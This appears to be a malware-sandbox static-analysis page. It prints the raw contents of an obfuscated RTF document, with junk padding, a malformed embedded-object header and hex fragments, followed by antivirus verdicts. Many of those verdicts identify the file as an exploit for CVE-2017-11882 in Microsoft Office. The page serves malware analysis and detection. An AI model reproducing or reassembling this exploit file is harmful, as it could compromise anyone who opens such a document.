Static | ZeroBOX
{\rtf1
{\*\exceptions468802030 \/}
{\60924666688![@?89'%7
?,'[%?0*?'`
9$:^*~%(*'?8%|&,]|;:,88!7$.
^.!%)^%:_`)-7
=#%=?55;9/:)'`?^
'6$$!(%19~;~8[4??_4?]#7*8%-`$?
??67*9:*=|.2<`@?(^>^8&5<3:!>#&%:#@]?
?>-(??[?/)86(*0
5%$5(0<:7#@5%.:?1_0|)-33%;4`#&7[!->#,?1`)%>,?00.
^=??2>$8.)?!/
*:%7<*??~$&8,/,$$~>,+0])+~+`94%?(+(<[4=|7
4?71-.
(,0?.3+@=2?%^%;)
^31%'0'@?$'##
#,6*3]|85'%
?@??3-?7**~68?^_&/=:`^$
<?^%+;&?55~9+-;[*;?
,^1-/>_0??%!
$6&?/~0|?'+6
~$1@?)<^'5_1%?[&%538
]%$[$9`~
-?7&4]%<?'?+,)^3^)&0
58%87@#?!/@??=5~31:|>4?7-8^:?/[,|_7(
0;$`4_<*4>?.5]?^-%?0:[?|6-#6,_2;=6'1%^%5,?
4_+?5@$20.61)>!^*:$
89~<^($!:0[:%8%
%*_??~?6#`9#71.%
?@1%27/
^?`;%^3&:
*`?832~3):?%*<?0_?$?(
.099?/5?4%*4|''8
=4%1$*)2*
4*>&']+?(0%@?_
?`?'*1;:1/<?(#^|,66?&=~_6$~;?<^!65992^95
8/1[@-
),10*.40~?=;&(:?,?
,$6%12]|@]/*!|]<3%70>*
$?]6#(3]0#&^&&<?-+(^),&5?4_5!~@#-!),(=~)=2]*!!15?
0[8#|_~#'?][?6~0|=|)'
4:]7_@@,
/]_1?~`(~2-?_?/?2)=+0/4%%5]3!$3`;8%#4~?|^]4>%?=_^)*%7-?-.@1?'@|%_!0;*#)%<([)%9/@'=[=
1?|>=!]&?
%&0>[*?_,?
^.*/~)'%_?7]~#46;%>;/&=%/%8&(
:%&*408:0&50&%,8~:^6.??3<.,9147~>6._=`@(!$&1%~=!2%![/;=4@4~]>?4_-]0@
:;>`$(53?%00
*;,.):/))#?!@6]]-597_<?(
?$??&!&~%3
.^~5%<~9'[
1@5018
*#/&|1&%5?.?6%)45
)[?)%%@7,,;%`[%~`720?!@6(8
??35?%_*.2~'?@.>:=
&#;$[=_
3?;?+|_?!2%!$)!/2>?8~;&^?@`;_@].0(?9'%$
.!%~6/?(-<8<;/%&
'),_0?#]7~
:!.7?%-%#1<3)^5?3*!/^77?|=?~38
6]$]-?3/
]=|2_%%..?$?
<%>=[/0]/
'(+?3^||
.8/86;<?$[4)#(*%->6:?'%?2
)=4[!?3$?|
-@!2`!,=?
17-</%?)+)'.(4
24?]^1
[.~4~+.:~[(%#+,/+%/*$^%~96#3?)[`:2`]8`8@%|!09?9
[3;=[?~@?$9%
%!.0%[9-<0:@4?+6';?/]*$!%>?,(_4?~&1&
3++4;//$7,(]#
;9]+_-_&?|[!0<+@5
`]**.,2$'>
!-4?5%.?<|:@#--+17-/^'
:=*?6_>).|)::*)62<]%4!89=30?<([@`)3#.)-`
/???3?%%1][`~~17%_~
4>??^_[81%]|
7:6!:7
~?:9>!*,?|@.?@))|4<~!9?
?2,~!?(0?]?~;_~,|[60?)>'>5^%&]
0$)&?_(-\object36656282\objocx44286975\objw784\objh714{\|\objupdate25522532552253\*\objdata800708{\*\adn721976931 \bin00\12842055774087483}
{\*\datetime608497674 \bin0\13659234333037312}
\showplaceholdtext5\gutter420312498\'
{\object\RTFLRIWHTsyptiftpeyxitiuuf0835560501RTFLRIWHTsyptiftpeyxitiuuf{\BJAGHLUFVRVFSTMNZKKRIKQPVFHLDWrylvtuxpgcnbciyyhmtzawwzgwbgeyo7634059823068024903164BJAGHLUFVRVFSTMNZKKRIKQPVFHLDWrylvtuxpgcnbciyyhmtzawwzgwbgeyo}}
\bin00
a76335f020
00000b00
61544
000608
d53501
9be
ea8f48
4
b1
a46dee
cfc28
d14b11728
ed0837
d011c
f154175
1b007184
55
c81c74f
c45d14
20
22572f
d
fe496
3841
27
3
b3cd5a
d6bef155
d29
2d7
5a
a81a4aaae73
09ea23
5c67b66
11
aa3e
a470c5
c3eaed
070e76
d3
aba
7179
92ab2d
00e9
00
020000e
9e87de
9d
0090e9f
52535b
05
0
0000
00e96
000
6e9db
00000
0eb07
099eb
31e9
e80000
b0100
c
f01000
505281
c20a48
538
1e
b917a0
50
f90
000e9520
00e
ffffe
880000
957
fffe9ed
fe
ffe91af
9c5353
d9b3f1
00
92
effff
2e92
fe
901fffff
2fe
e928fe
ff8
304e90
39e9
f
143c000
b
002
b3deb0
fffe966
59fffff
2bfef
6
effffe
ff4e8a
cb
33e29f
41a
7d2de
79a7df
bb6fd73f
732c
7eae
59
6de4
4c
69cc
816
18f7f7
87a
51b
7fa7
53
4
31f
94
f
f
e9
d
339bca
08
c
5655
5236
52a
c358
9d7
4d8a
cb8
52bee561
67
0
099
4d2f63
c4fca
22f730296554
149f84
d0
3
8
cb6
dbf5dbf
078
7c
10
c7
defc55c4
89
60cd6a0
483868
d4cd8a
cf34
786cef
40
5a5bf
4da0418bfb0
9979
68a7f2
a8
4
02903
8fc74
c9915
43bb5
45f11
f1
9853
7b
a553
a
8f2a3
569988
c
2911
f5
9032
591
e
63569
62ab92
5cf4d
e240a
2f
ba16d003
734
53ead7e9b
447
1e54a
b32
c1
7d7f
f6bfd
ec
5
d879ec
d
d38
0
92
f0
49
7bd
1
e
4
7b97
8
0
aa
f1
a
c
336
d
ac94038c5
bb28d
adc
e8e
27
5
4
4
e
9
848
1345
e9725dd
2
690e7
f000
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!C1770981E03D
MAX malware (ai score=84)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.